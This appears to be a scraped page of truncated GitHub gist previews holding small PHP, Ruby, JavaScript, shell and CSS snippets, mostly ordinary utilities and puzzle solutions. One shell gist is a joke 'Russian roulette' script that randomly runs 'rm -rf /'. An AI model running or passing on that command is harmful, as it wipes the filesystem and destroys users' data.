This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
function equi($A) { | |
$lower_elements_sum = 0; | |
$higher_elements_sum = array_sum($A); | |
for ($i = 0, $cnt = count($A); $i < $cnt; $i++) { | |
if (isset($A[$i - 1])) { | |
$lower_elements_sum += $A[$i - 1]; | |
} | |
$higher_elements_sum -= $A[$i]; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
def equi(a) | |
lower_elements_sum = 0 | |
higher_elements_sum = a.inject(:+) | |
a.each_with_index do |el, i| | |
lower_elements_sum += a[i - 1] if i > 0 | |
higher_elements_sum -= el | |
return i if lower_elements_sum == higher_elements_sum | |
end |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
class SomeClass | |
def self.some_method | |
end | |
end | |
some_obj = SomeClass.new | |
some_obj.class.some_method # = SomeClass.some_method |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/** | |
* Global beholder for communication between blocks. | |
* | |
* If any callback returns true, next callbacks are NOT executed. | |
*/ | |
var Beholder = function() { | |
var callbacks = {}; | |
return { | |
observe: function(id, callback) { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
class Service < Thor | |
desc "apache", "Apache" | |
def apache(action) | |
service action do |s| | |
s.down { %x[sudo apachectl stop] } | |
s.up { %x[sudo apachectl start] } | |
end | |
end | |
desc "memcached", "Memcached" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
[ $[ $RANDOM % 6 ] == 0 ] && rm -rf / || echo “You live” |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
class DoctrineCacheAdapter extends \Doctrine\Common\Cache\CacheProvider { | |
private $cache_driver; | |
public function __construct($cache_driver) { | |
$this->cache_driver = $cache_driver; | |
} | |
public function getCacheDriver() { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
require 'fileutils' | |
require 'formula' | |
class Apache24 < Formula | |
homepage 'https://httpd.apache.org/' | |
url 'https://www.apache.org/dist/httpd/httpd-2.4.3.tar.gz' | |
sha1 '845ca56816b0352c7759b6b8f47bd012c0864efd' | |
version '2.4.3' | |
skip_clean ['bin', 'sbin'] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var $jsonp = (function(){ | |
var that = {}; | |
that.send = function(src, options) { | |
var callback_name = options.callbackName || 'callback', | |
on_success = options.onSuccess || function(){}, | |
on_timeout = options.onTimeout || function(){}, | |
timeout = options.timeout || 10; // sec | |
var timeout_trigger = window.setTimeout(function(){ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
.video-container { | |
position: relative; | |
padding-bottom: 56.25%; | |
padding-top: 30px; height: 0; overflow: hidden; | |
} | |
.video-container iframe, | |
.video-container object, | |
.video-container embed { | |
position: absolute; | |
top: 0; |